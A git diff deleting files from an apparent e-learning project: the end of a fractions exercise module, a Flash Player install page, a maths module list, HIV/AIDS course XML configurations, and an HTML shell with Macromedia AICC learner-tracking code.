value="s47b"/></seg><seg id="s47b" templateId="" url=""><args text="First, notice that 56 and 84 have 2, 2, and 7 in common.  We can just cross out the pairs of factors because multiplying by 2/2 or 7/7 is the same as multiplying by 1. We find that 56/84 is just 2/3."/><next branch="false" value="s48"/></seg><seg id="s48" templateId="" url=""><args text="How can you cancel out all the common factors at once? Find the greatest common factor of the numerator and denominator, and divide it out of both. After you divide out the GCF, the numerator and denominator won't share any more common factors."/><next branch="false" value="s49"/></seg><seg id="s49" templateId="" url=""><args Title="Review"/><next branch="false" value="s54"/></seg><seg id="s54" templateId="" url=""><args text="Fractions Greater Than One: Think about how many times the denominator will divide into the numerator.  The leftover pieces are the fraction part of the answer."/><next branch="false" value="s55"/></seg><seg id="s55" templateId="" url=""><args text="Reducing Fractions: Make fractions simpler by factoring out peacemaker fractions."/><next branch="false" value="e0"/></seg><seg id="e0" templateId="" url=""><args title="Exercises"/><next branch="false" value="e0a"/></seg><seg id="e0a" templateId="" url=""><args text="In the following five exercises, you'll practice reducing fractions and dealing with fractions that are greater than one. After each question, the answer will be explained. You'll want to grab a pencil and paper.  Are you ready?"/><next branch="false" value="e1"/></seg><seg id="e1" templateId="" url=""><args aPop="That is equal to 14/3, but you can get more wholes out of it than that." aText="1 whole and 11 thirds" bPop="True, that is equal to 14/3, but since 8 thirds is larger than one, you can find more wholes." bText="2 wholes and 8 thirds" cPop="Oops!  Since 14 is greater than 3, 14 thirds is greater than one.  So you can find some wholes.  Use the &quot;gather 3 thirds&quot; tool." cText="no wholes and 14 thirds" correct="d" dPop="Great work!  That’s correct." dText="4 wholes and 2 thirds" text="1) How many wholes are in 14/3 ?  How many thirds are left over?"/><next branch="false" value="e2"/></seg><seg id="e2" templateId="" url=""><args text="To find out how many wholes are in 14/3 and how many thirds are left over, you make as many groups of three as possible.  You can make 4 groups of 3; that's 12 thirds.  But we have 14 thirds, so there are two thirds left over.  The answer is 4 wholes and 2 thirds."/><next branch="false" value="e5"/></seg><seg id="e5" templateId="" url=""><args aPop="That is not correct.  Remember to use peacemakers." aText="12/8" bPop="That is not the correct answer.  Double check your common denominator." bText="1" cPop="Excellent work!  You added correctly, and you remembered to reduce the fraction." cText="5/6" correct="c" dPop="You’re right, but you need to reduce this fraction.  Cancel out all of the factors that 10 and 12 have in common, and choose another answer." dText="10/12" text="2) What is 13/12 – 1/4 ?"/><next branch="false" value="e6"/></seg><seg id="e6" templateId="" url=""><args text="First, multiply 1/4 by the peacemaker 3/3 so that both fractions will be Twelfths.  Then, subtract the numerators to get 10/12.  Since 10 and 12 are both even numbers, you need to divide out the peacemaker fraction 2/2.  The answer is 5/6."/><next branch="false" value="e9"/></seg><seg id="e9" templateId="" url=""><args aPop="That's not the correct answer. You forgot to flip 2/3 over before multiplying!  Try again." aText="8/21" bPop="That’s not correct.  Check your multiplication and try again." bText="12/21" cPop=" You’re absolutely right!  Good job." cText="6/7" correct="c" dPop=" Almost. You found the answer correctly, but you must reduce." dText="12/14" text="3) What is 4/7 divided by 2/3 ?"/><next branch="false" value="e10"/></seg><seg id="e10" templateId="" url=""><args text="First flip 2/3 upside down. Then multiply the fractions for a result of 12/14.  Note that both 12 and 14 are divisible by 2.  Reduce the fraction for a result of 6/7."/><next branch="false" value="e15"/></seg><seg id="e15" templateId="" url=""><args aPop="Oops!  That’s less than the orange juice alone." aText="1 and 1/6 quarts" bPop="You’re close, but that’s not quite right.  Try again." bText="4 quarts" cPop="Excellent work!" cText="4 and 1/6 quarts" correct="c" dPop="That’s true, but try to express your answer in wholes and fractions." dText="25/6 quarts" text="4)  For a party, you're making a mixture of orange juice and lemon soda.  If you use 2 and 1/2 quarts of orange juice and 1 and 2/3 quarts of lemon soda, how many quarts of this drink will you have?"/><next branch="false" value="e16"/></seg><seg id="e16" templateId="" url=""><args text="We've got three whole pitchers of citrus drink, plus 2/3 plus 1/2. We'll use the peacemaker 2/2 on 2/3 and multiply 1/2 by 3/3 to find a common denominator. Then we add together the numerators and add in the three whole pitchers."/><next branch="false" value="e17"/></seg><seg id="e17" templateId="" url=""><args aPop="Try again.  You might have multiplied instead of adding." aText="5/24 of a yard" bPop="That is not correct.  Don’t forget to find a common denominator before adding." bText="1/2 of a yard" cPop="That’s correct, but you can reduce this fraction." cText="26/24 yards" correct="d" dPop="You’re right, and you put the answer into the best possible form!" dText="1 and 1/12 yards" text="5) Jasmine is tailoring a costume for the school play.  She needs 5/6 of a yard of blue ribbon and another 1/4 of a yard of green ribbon.  How many yards of ribbon will she need in all?"/><next branch="false" value="e18"/></seg><seg id="e18" templateId="" url=""><args text="We need to calculate 5/6 + 1/4.  First, we multiply 5/6 by 2/2 and 1/4 by 3/3 to find a common denominator.  The peacemakers 4/4 and 6/6 would also work.  Then we add the numerators to get 26/24.  But don't stop there!  We can reduce this fraction. Since it's larger than 1, we can also group the wholes."/><next branch="false" value="e23"/></seg><seg id="e23" templateId="" url=""><args text="Congratulations!  You've finished the Simplifying Fractions module!"/><next branch="false" value=""/></seg></clip></section></chapter></chapters></app>
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-					<br><A HREF="http://www.macromedia.com/go/getflashplayer">Install the latest version now.</A></td>
-				</tr>
-				<tr>
-					<td><p>If you are using Internet Explorer on a Windows PC, the installation may silently fail if you do not have administrator privileges for your machine.
-					If you have gone through the installation and the movie below does not indicate version 7,0,0,0 or higher, you may need to contact your system adminstrator to help install the flash player.</p> 
-					<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="180" height="40" align="middle">
-					<param name="movie" value="version.swf" />
-					<param name="quality" value="high" />
-					<param name="bgcolor" value="#ffffff" />
-					<embed src="version.swf" quality="high" bgcolor="#ffffff" width="180" height="40" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-					</object>
-					</td>
-				</tr>
-
-				</tr>
-				<tr><!--spacer-->
-					<td colspan="2"><img src="http://enspire.com/images/dark_blue_pixel.gif" width="535" height="1"></td>
-				</tr>
-				<tr>
-					<td colspan="2"><P>If you have any technical problems, please contact <A HREF="mailto:support@enspire.com">support@enspire.com</A></P></td>
-				</tr>
-			</table>
-		</td>
-	</tr>
-	<tr>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="555" height="1"></td>
-		<td bgcolor="#02528E"><img src="dark_blue_pixel.gif" width="1" height="1"></td>
-	</tr>
-	<tr><td></td><td><p>&nbsp;</p></td></tr>
-</table>
-
- </BODY>
- 
-</HTML>
diff --git a/Explore/elr/Mathematics/M1110/version.swf b/Explore/elr/Mathematics/M1110/version.swf
deleted file mode 100755
index 74362c2..0000000
--- a/Explore/elr/Mathematics/M1110/version.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/activities.js b/Explore/elr/Mathematics/activities.js
deleted file mode 100644
index 5af9d25..0000000
--- a/Explore/elr/Mathematics/activities.js
+++ /dev/null
@@ -1,17 +0,0 @@
-var activities = [
-['1','1','E-Learn','Elearn','M0701','blue','P4-Whole numbers and fractions'],
-['2','2','E-Learn','Elearn','M0801','blue','P5,6-Perimeter and area'],
-['3','3','E-Learn','Elearn','M0901','blue','P4,5-Introduction to fractions'],
-['4','4','E-Learn','Elearn','M1001','blue','P4,5,6-Weather, sport, and food'],
-['5','5','E-Learn','Elearn','M1002','blue','P5,6-A story and comparing fractions'],
-['6','6','E-Learn','Elearn','M1101','blue','P5,6-Calculating with fractions'],
-['7','7','E-Learn','Elearn','M1102','blue','P4,5-Estimate length, areas and angles'],
-['8','8','E-Learn','Elearn','M1103','blue','P5,6-Finding prime factors'],
-['9','9','E-Learn','Elearn','M1104','blue','P5,6-Greatest common factors'],
-['10','10','E-Learn','Elearn','M1105','blue','P4,5,6-Least common multiples'],
-['11','11','E-Learn','Elearn','M1106','blue','P4,5,6-Measuring distances and angles'],
-['12','12','E-Learn','Elearn','M1107','blue','P4,5,6-Sequences and patterns'],
-['13','13','E-Learn','Elearn','M1108','blue','P4,5,6-Measuring angles'],
-['14','14','E-Learn','Elearn','M1109','blue','P4,5,6-Measuring distances'],
-['15','15','E-Learn','Elearn','M1110','blue','P4,5,6-Simplifying fractions'],
-]
diff --git a/Explore/elr/Other/O0001/SB/Storyboard HIV.DOC b/Explore/elr/Other/O0001/SB/Storyboard HIV.DOC
deleted file mode 100755
index 24f03b7..0000000
--- a/Explore/elr/Other/O0001/SB/Storyboard HIV.DOC
+++ /dev/null
diff --git a/Explore/elr/Other/O0001/_oldcourse.xml b/Explore/elr/Other/O0001/_oldcourse.xml
deleted file mode 100755
index 546ce56..0000000
--- a/Explore/elr/Other/O0001/_oldcourse.xml
+++ /dev/null
@@ -1,212 +0,0 @@
-<Modules>
-<Transcript>No</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>No</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Introduction to HIV/AIDS</ModuleName>
-	<Lessons>
-		<Lesson>
-			<LessonName>Introduction to HIV/AIDS</LessonName>
-			<Pages>
-				<Page>
-					<PageName>media/intro/Warning.swf</PageName>
-					<PageTitleName>Intro</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/intro/sign_in.swf</PageName>
-					<PageTitleName>Static</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/intro/Menu.swf</PageName>
-					<PageTitleName>Static</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg01.swf</PageName>
-					<PageTitleName>Components</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg02.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg03_04.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg05.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg05_a.swf</PageName>
-					<PageTitleName>Who gets it?</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg06.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-                                <Page>
-					<PageName>media/lesson_00/pg06a.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg07_08.swf</PageName>
-					<PageTitleName>Mouse training</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-						<PageName>media/lesson_00/pg09_10_11.swf</PageName>
-					<PageTitleName>Mouse activity</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg12.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg13.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg14_15.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg16.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				
-				<Page>
-					<PageName>media/lesson_00/Certificate_HIV_02.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>0,1</ClickNext>
-				</Page>		
-				
-								
-			</Pages>
-		</Lesson>
-	</Lessons>
-</Module>
-</Modules>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/course.xml b/Explore/elr/Other/O0001/course.xml
deleted file mode 100755
index 887e911..0000000
--- a/Explore/elr/Other/O0001/course.xml
+++ /dev/null
@@ -1,212 +0,0 @@
-<Modules>
-<Transcript>No</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>No</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Introduction to HIV/AIDS</ModuleName>
-	<Lessons>
-		<Lesson>
-			<LessonName>Introduction to HIV/AIDS</LessonName>
-			<Pages>
-				<Page>
-					<PageName>media/intro/Warning.swf</PageName>
-					<PageTitleName>Intro</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/intro/sign_in.swf</PageName>
-					<PageTitleName>Static</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/intro/Menu.swf</PageName>
-					<PageTitleName>Static</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg01.swf</PageName>
-					<PageTitleName>Components</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg02.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg03_04.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg05.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg05_a.swf</PageName>
-					<PageTitleName>Who gets it?</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg06.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-                                <Page>
-					<PageName>media/lesson_00/pg06a.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg07_08.swf</PageName>
-					<PageTitleName>Mouse training</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-						<PageName>media/lesson_00/pg09_10_11.swf</PageName>
-					<PageTitleName>Mouse activity</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg12.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg13.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				<Page>
-					<PageName>media/lesson_00/pg14_15.swf</PageName>
-					<PageTitleName>How to sit</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg16.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				
-				<Page>
-					<PageName>media/lesson_00/Certificate_HIV_02.swf</PageName>
-					<PageTitleName>Key Boarding</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Anim</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>0,1</ClickNext>
-				</Page>		
-				
-								
-			</Pages>
-		</Lesson>
-	</Lessons>
-</Module>
-</Modules>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0001/efk_shell.html b/Explore/elr/Other/O0001/efk_shell.html
deleted file mode 100755
index cf94edb..0000000
--- a/Explore/elr/Other/O0001/efk_shell.html
+++ /dev/null
@@ -1,201 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<style type="text/css">
-<!--
-	html, body {width:100%; height:100%; margin:0px; padding:0px;}
--->
-</style>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>efk_shell</title>
-<script language="JavaScript" name="cmifrag">
-<!--
-//AICC tracking code inserted for Macromedia's Learning Interactions
-//Flash MX 2004
-//Modified by Andrew Chemey (08/06/03)
-//Copyright 2003 Macromedia, Inc. All rights reserved.
-function goPage(loc){
-	parent.location = loc;
-}
-function findcmiframe(sp) {
-	if (sp==null) sp=window.parent;
-	if (sp.frames.length && sp.cmiframe != null)
-		return sp.cmiframe;
-	else if (sp != window.top)
-		return findcmiframe(sp.parent);
-	else return null;
-}
-var aurl;
-function setaurl(url) {
-	tmpp=url.toUpperCase();
-	if ((pos=tmpp.indexOf('AICC_URL'))>-1) {
-		aurl=url.substring(pos+9,tmpp.length);
-		if (aurl.indexOf('&')>0)
-			aurl=aurl.substring(0,aurl.indexOf('&'));
-		aurl=unescape(aurl);
-		if (aurl.toUpperCase().indexOf("HTTP://") == -1)
-			aurl	= "http://" + aurl;
-		return true;
-	}
-	return false;
-}
-function fndUrl(win) {
-	if (setaurl(win.document.location+'') == false) {
-		if (win == window.top) return false;
-		return (fndUrl(win.parent));
-	}
-	return true;
-}
-if (findcmiframe(null)==null) {
-	var cmi;
-	if (document.command == null) {
-		if (fndUrl(window)) {
-			document.write("<form action="+aurl+" method=\'POST\' target=\'cmiresults\' name=\'command\'><input type=\'hidden\' name=\'command\'><input type=\'hidden\' name=\'session_id\'><input type=\'hidden\' name=\'version\' value=\'2.0\'><input type=\'hidden\' name=\'aicc_data\'></form>");
-		}
-	}
-}
-//Function creates a new object for tracking
-function trackObject(name, score, weight, possible) {
-	this.name = name;
-	this.score = score;
-	this.trackWeight = weight;
-	this.possibleCorrect = possible;
-	this.e = 0;
-}
-//Create new object called G01
-G01 = new trackObject("Flash Learning Object", 0, 1, 1);
-//-->
-</script>
-<script language="JavaScript" src="scripts/behCourseBuilder.js"> </script>
-<script language="JavaScript" src="scripts/cmi.js"> </script>
-</head>
-<body bgcolor="#ffffff">
-<script language="JavaScript">
-<!--
-var InternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
-// Handle all the the FSCommand messages in a Flash movie
-function efk_shell_DoFSCommand(command, args) {
-	var efk_shellObj = InternetExplorer ? efk_shell : document.efk_shell;
-	// CMI CHECK
-	if (!window.CMIIsPresent()) {
-		if (findcmiframe != null) {
-			var frm = findcmiframe(null);
-			if (frm != null) frm.installcmi(window);
-			else if (installcmi != null) {
-				installcmi(window);
-				cmiinit(window);
-			}
-		}
-		if (window.CMIInitialize != null) window.CMIInitialize();
-	}
-	// PLACE CMI MAPPING FOR EACH FUNCTION HERE
-	args = String(args);
-	command = String(command);
-	var F_intData = args.split(";");
-	switch (command){
-		case "MM_StartSession":
-			//If no sessionid, sends user to login page where activity is set and sessionid returned
-			//parameters(loginURL, activityID, activityName)
-			//Does not redirect, if the loginURL is null or an empty string
-			if (!MM_SID && F_intData[0] != ""){
-				goPage(F_intData[0] + "?ActivityID=" + escape(F_intData[1]) + "&ActivityName=" + escape(F_intData[2]) + "&ReferringPage=" + escape(parent.location));
-			}
-			break
-		case "MM_cmiSendInteractionInfo":
-			//MM_cmiSendInteractionInfo(date, time, intid, objid, intrtype, correct, student, result, weight, latency)
-				G01.score = 0;
-			if (F_intData[7].toUpperCase() == "C") G01.score = 1;
-			G01.trackWeight = F_intData[8];
-			if (F_intData[4] == "F"){
-				var sTmp = F_intData[5];
-				F_intData[5] = sTmp.replace(/ /gi, "_");
-				sTmp = F_intData[6];
-				F_intData[6] = sTmp.replace(/ /gi, "_");
-			}
-			MM_cmiSendInteractionInfo(F_intData[0],F_intData[1],F_intData[2],F_intData[3],F_intData[4],F_intData[5],F_intData[6],F_intData[7],F_intData[8],F_intData[9]);
-			break
-		case "MM_cmiSendObjectiveInfo":
-			//MM_cmiSendObjectiveInfo(theInt, index, objid, score, status)
-				MM_cmiSendObjectiveInfo(F_intData[0],F_intData[1],F_intData[2],F_intData[3],F_intData[4]);
-			break
-		case "MM_cmiSendScore":
-			//MM_cmiSendScore(theInt, theScore)
-				MM_cmiSendScore(F_intData[0],F_intData[1]);
-			break
-		case "MM_cmiSetLessonStatus":
-			//MM_cmiSetLessonStatus(theStatus)
-				MM_cmiSetLessonStatus(F_intData[0]);
-			break
-		case "CMISetTime":
-			//CMISetTime(t)
-				CMISetTime(F_intData[0]);
-			break
-		case "CMISetCompleted":
-			//CMISetCompleted()
-				CMISetCompleted();
-			break
-		case "CMISetData":
-			//CMISetData(data)
-				CMISetData(F_intData[0]);
-			break
-		case "CMISetFailed":
-			//CMISetFailed()
-				CMISetFailed();
-			break
-		case "CMISetLocation":
-			//CMISetLocation(loc)
-				CMISetLocation(F_intData[0]);
-			break
-		case "CMISetPassed":
-			//CMISetPassed()
-				CMISetPassed();
-			break
-		case "CMISetScore":
-			//CMISetScore(score)
-				CMISetScore(F_intData[0]);
-			break
-		case "CMISetStarted":
-			//CMISetStarted()
-				CMISetStarted();
-			break
-		case "CMISetStatus":
-			//CMISetStatus(stat)
-				CMISetStatus(F_intData[0]);
-			break
-		case "CMISetTimedOut":
-			//CMISetTimedOut()
-				CMISetTimedOut();
-			break
-		case "CMIInitialize":
-			//CMIInitialize()
-			MM_SVal("command","getparam",1);
-			CMIInitialize();
-			break
-		case "CMIFinish":
-			//MM_SVal("command","lmsfinish",1);
-			break
-		case "CMIExitAU":
-			MM_SVal("command","exitau",1);
-			break
-	}
-	// END OF CMI FUNCTION MAPPING
-}
-// Hook for Internet Explorer.
-if (navigator.appName && navigator.appName.indexOf("Microsoft") != -1 && navigator.userAgent.indexOf("Windows") != -1 && navigator.userAgent.indexOf("Windows 3.1") == -1) {
-	document.write('<script language=\"VBScript\"\>\n');
-	document.write('On Error Resume Next\n');
-	document.write('Sub efk_shell_FSCommand(ByVal command, ByVal args)\n');
-	document.write('	Call efk_shell_DoFSCommand(command, args)\n');
-	document.write('End Sub\n');
-	document.write('</script\>\n');
-}
-//-->
-</script>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="efk_shell" width="100%" height="100%" scale="exactfit" align="middle">
